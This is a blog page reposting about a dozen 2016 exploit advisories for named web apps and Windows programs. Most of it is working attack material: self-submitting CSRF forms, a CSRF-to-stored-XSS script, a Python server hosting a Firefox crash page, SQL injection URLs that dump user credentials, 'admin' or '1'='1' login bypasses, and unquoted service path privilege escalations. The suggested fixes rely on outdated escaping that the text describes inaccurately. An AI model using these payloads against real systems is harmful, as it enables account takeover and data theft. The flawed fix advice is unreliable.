Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110962

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
=====================================================
# Simple Forum PHP 2.4 - Cross-Site Request Forgery (Edit Options)
=====================================================
# Vendor Homepage: http://simpleforumphp.com
# Date: 14 Oct 2016
# Demo Link : http://simpleforumphp.com/forum/admin.php
# Version : 2.4
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# Exploit:
-->
<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://localhost/blog/admin.php" method="POST">
      <input type="hidden" name="act" value="addPost" />
	  <input type="hidden" name="act" value="updateOptionsAdmin" />
	  <input type="hidden" name="email" value="attacker@mail.com" />
	  <input type="hidden" name="captcha" value="nocap" /> <!--Set No
Captcha(unsecured)-->
	  <input type="hidden" name="captcha_theme" value="White theme" />
	  <input type="hidden" name="items_link"
value="http://localhost/demo_forum.php" />
	  <input type="hidden" name="time_zone" value="" />
      <input type="submit" value="Submit request" />
	  </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>
<!--
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
-->
            
=====================================================
# NO-IP DUC v4.1.1 - Unquoted Service Path Privilege Escalation
=====================================================
# Vendor Homepage: http://noip.com
# Date: 14 Oct 2016
# Software Link : http://www.noip.com/client/DUCSetup_v4_1_1.exe
# Version : 4.1.1
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# Description:
NO-IP DUC v4.1.1 installs as a service with an unquoted service path with name NoIPDUCService4.

# PoC:
Service name : NoIPDUCService4

C:\>sc qc NoIPDUCService4
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NoIPDUCService4
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\No-IP\ducservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NO-IP DUC v4.1.1
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
		

=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
            
# Exploit Title: YouTube Automated CMS 1.0.1 / 1.0.7 - CSRF to Persistent XSS
# Date: 14 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/youtube-automated-cms/12021939
# Version: 1.0.1 to 1.0.7

----------------------------------------------------------------------------------------------------------------------

Description:
An Attackers are able to execute js and perform CSRF on web
application using YouTube Automated CMS which allow an attacker to
create a post when an authenticated user/admin browses a special
crafted web page. All the process was also possible without any
authenticated user/admin for more info watch the below PoC Video.

The title parameter was not filtering special characters mean
vulnerable to XSS. So, now by creating CSRF exploit code for posting
an article with XSS alert JS payload as title of post. Now if the
attacker is able to perform CSRF attack sucessfully then XSS will be
triggered when someone opens the site using YouTube Automated CMS.

CSRF Exploit Code: 

<html>
  <body>
   <title>[Youtube Automated CMS] CSRF to Persistent XSS</title>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1681718590736");
        xhr.withCredentials = true;
        var body = "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"details\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"category_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"thumbnail\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"published\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"duration\"\r\n" + 
          "\r\n" + 
          "70\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"image\"\r\n" + 
          "\r\n" + 
          "https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------1681718590736--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <br><br><br>
    <center>
    <h2><font color="red">[Youtube Automated CMS] CSRF to Persistent XSS by Arbin</font></h2>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </center>
  </body>
</html>

PoC Video: https://youtu.be/cCtThSquNSk

Vendor Shouted Urgent Update:
http://wpsup.com/products/youtube-automated-cms/urgent-update-1-0-8-fix-security-bugs/

Fix/Patch: Update to latest version.

----------------------------------------------------------------------------------------------------------------------

Regards,
Arbin Godar
https://twitter.com/arbingodar
            
#########################################################################
# Exploit Title: Wondershare PDFelement Unquoted Service Path Privilege
Escalation
# Date: 10/14/2016
# Author: Saeed Hasanzadeh (Net.Hun73r)
# Vendor Homepage: https://www.wondershare.com/
# Software Link:
http://download.wondershare.com/inst/pdfelement_setup_full1042.exe
#version : 5.2.9
# Tested on: Windows 7
##########################################################################

Wondershare PDFelement installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the
service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc WsAppService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WsAppService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Wondershare\WAF\2.2.3.2\WsAppService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Application Framework Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
            
'''

#Title: Firefox 49.0.1 crash Denial of Service
#Date: 15 Oct 2016
#Author: sultan albalawi
#video: https://www.facebook.com/pentest3/videos/vb.100012552940568/199310163830747/?type=2&theater
#Tested on:win7
#Open link in firefox
#Double click on the Click You will see the report that there are crach


.........................................................................
'''

from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import subprocess,string
host='192.168.100.3'
port=6060
ban= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
ban+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
ban+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
ban+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
ban+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
ban+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
ban+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
ban+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
ban+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
ban+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
ban+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
ban+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
ban+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
ban+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
ban+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
ban+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
ban+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
ban+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
ban+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
ban+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
ban+='\n'
ban+='\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n'
ban+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
print ban
print "please wait ...."
i=1
while i <= 4120:
    i+=1
    ban+=string.ascii_uppercase*250
    ban=ban
class Req(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        self.wfile.write('''<html>
                            <head>
                            <title>Firefox 49.0.1 Vulnerability</title>
                            </br>
                            <h1>Firefox 49.0.1 Vulnerability <h1>
                            <h1>\x41\x75\x74\x68\x6f\x72\x3a\x20\x53\x75\x6c\x74\x61\x6e\x2d\x61\x6c\x62\x61\x6c\x61\x77\x69<h1>
                            <h1>\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n<h1>
                            </div>'''+''+'''</body>
                            <script type="text/javascript">
                            function ex() {
                                var buffer = "";
                                for (var i = 0; i < 50000; i++) {
                                    buffer += "\x41";
                                }
                                var buffer2 = buffer;
                                for (i = 0; i < 5000; i++) {
                                    buffer2 += buffer;
                                }
                                document.title = buffer2;
                            }
                            </script></head><body>'helo firefox'<a href="javascript:ex();">CLICK
                            </a></body></html>''')
class runHTTP(HTTPServer):
    def __init__(self,host,port):
        ipadd=(host,port)
        HTTPServer.__init__(self,ipadd,Req)
def createfile():
    global filecreate
    filecreate = "Firefox.dat"
    open(filecreate, "wb").write(ban)
    print filecreate
createfile()
def start():
    global filecreate
    ser=runHTTP(host,port)
    print "http://{}:{}/{}".format(host,port,filecreate)
    ser.serve_forever()
start()
            
# Exploit Title: Graylog Collector Service Path Privilege Escalation
# Date: 10/14/2016
# Exploit Author: Joey Lane
# Software Link: https://github.com/Graylog2/collector
# Version: 0.4.2
# Tested on: Windows Server 2012 R2

Graylog Collector installs as a service with an unquoted service path.  If
the user installs this service in a directory containing a space, this will
create a privilege escalation vulnerability.  To properly exploit this
vulnerability, a local attacker can insert an executable file in the path
of the service.  Rebooting the system or restarting the service will run
the malicious executable with elevated privileges.


This was tested on version 0.4.2, but may affect other versions as well.


---------------------------------------------------------------------------

C:\sc qc GraylogCollector
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GraylogCollector
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\graylog collector\bin\windows\graylog-collector-service-x86.exe //RS//GraylogCollector
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Graylog Collector (GraylogCollector)
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"graylog.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
#########################################################################
# Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=4
# Version : build 16.0.205  (Latest)
# Tested on: Windows 7
##########################################################################

NETGATE Registry Cleaner installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGRegClnSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGRegClnSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Registry
Cleaner\RegistryCleanerSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Registry Cleaner Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
#########################################################################
# Exploit Title: NETGATE AMITI Antivirus Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=11
# Version : build 23.0.305  (Latest)
# Tested on: Windows 7
##########################################################################

AMITI Antivirus installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>sc qc AmitiAvHealth
[SC] QueryServiceConfig SUCCESS
----------------------------------------------------
SERVICE_NAME: AmitiAvHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
#########################################################################
# Exploit Title: NETGATE Data Backup Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link:
http://www.netgate.sk/download/download.php?id=5
#version : build 3.0.605  (Latest)
# Tested on: Windows 7
##########################################################################

NETGATE Data Backup installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGDatBckpSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGDatBckpSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Data
Backup\DataBackupSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Data Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
# Exploit Title............... Student Information System (SIS) Auth Bypass
# Google Dork................. N/A
# Date........................ 14/10/2016
# Exploit Author.............. lahilote
# Vendor Homepage............. http://www.sourcecodester.com/php/10902/student-information-system-sis.html
# Software Link............... http://www.sourcecodester.com/sites/default/files/download/Bwire%20Charles/ucc.zip
# Version..................... 0.1
# Tested on................... xampp
# CVE......................... N/A


The audit_list in ucc/admin_login.php
-------------------------------------

----snip----

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = $_POST['username'];
$mypassword = $_POST['password'];



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = mysql_real_escape_string($_POST['username']);
$mypassword = mysql_real_escape_string($_POST['password']);



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10902/student-information-system-sis.html
http://php.net/manual/en/function.mysql-real-escape-string.php
            
# Exploit Title.............. Web Based Alumni Tracking System Multiple Vulnerability
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/John%20Mark%20Ulep/web-based_alumni_tracking_system.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/print_employed.php
-------------------------------

----snip----

48 <?php $get_id = $_GET['id'];?>

----snip----

/admin/index.php
----------------

----snip----

$user = $_POST['username'];
$password = $_POST['password'];


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

----snip----


Example exploitation
--------------------
http://server/path_to_webapp/admin/print_employed.php?id=-2%27%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12%20from%20user--+

http://server/path_to_webapp/admin/index.php
Login with username and password: admin' or '1'='1


How to fix
----------
Simple method's use the php function intval and mysql_real_escape_string.

   Example: /admin/print_employed.php

		48 <?php $get_id = intval($_GET['id']);?>


   Example: /admin/index.php

$user = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
http://php.net/manual/en/function.intval.php
http://php.net/manual/en/function.mysql-real-escape-string.php
            
# Exploit Title.............. Simple Dynamic Web SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Chinthaka%20Deshapriya/dynamic_web_page.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /page.php

----snip----

	$prodID = $_GET['prodid'];

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$ptitle = $getProdInfo["title"];
		$pdes = $getProdInfo["description"];
		$pimg = $getProdInfo["imgUrl"];
				}

----snip----

Example exploitation
--------------------
http://server/path_to_webapp/page.php?prodid=-3%27%20union%20select%201,2,@@version,4--+

How to fix
----------
Simple method's use the php function intval.
For example

	$prodID = intval($_GET['prodid']);

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$ptitle = $getProdInfo["title"];
		$pdes = $getProdInfo["description"];
		$pimg = $getProdInfo["imgUrl"];
				}


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
http://php.net/manual/en/function.intval.php
            
# Exploit Title.............. Learning Management System Auth Bypass
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/jkev/lms.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in lms/login.php
-------------------------------

----snip----

		$username = $_POST['username'];
		$password = $_POST['password'];
		/* student */
			$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
			$result = mysql_query($query)or die(mysql_error());
			$row = mysql_fetch_array($result);
			$num_row = mysql_num_rows($result);
		/* teacher */
		$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());
		$num_row_teacher = mysql_num_rows($query_teacher);
		$row_teahcer = mysql_fetch_array($query_teacher);
		if( $num_row > 0 ) { 

----snip----

lms/admin/login.php
-------------------

----snip----

		$username = $_POST['username'];
		$password = $_POST['password'];

		$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());
		$count = mysql_num_rows($query);
		$row = mysql_fetch_array($query);

----snip----

You can login with username and password: admin' or '1'='1

How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example: lms/login.php

		$username = mysql_real_escape_string($_POST['username']);
		$password = mysql_real_escape_string($_POST['password']);
		/* student */
			$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
			$result = mysql_query($query)or die(mysql_error());
			$row = mysql_fetch_array($result);
			$num_row = mysql_num_rows($result);
		/* teacher */
		$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());
		$num_row_teacher = mysql_num_rows($query_teacher);
		$row_teahcer = mysql_fetch_array($query_teacher);
		if( $num_row > 0 ) { 

   Example: lms/admin/login.php

		$username = mysql_real_escape_string($_POST['username']);
		$password = mysql_real_escape_string($_POST['password']);

		$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());
		$count = mysql_num_rows($query);
		$row = mysql_fetch_array($query);

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/7339/learning-management-system.html
http://php.net/manual/en/function.mysql-real-escape-string.php
            
*=========================================================================================================
# Exploit Title:  CNDSOFT 2.3 - Arbitrary File Upload with CSRF (shell.php)
# Author: Besim
# Google Dork: -
# Date: 19/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: -
# Software Link: http://www.phpexplorer.com/Goster/1227
# Version: 2.3
*=========================================================================================================


Vulnerable URL and Parameter
========================================

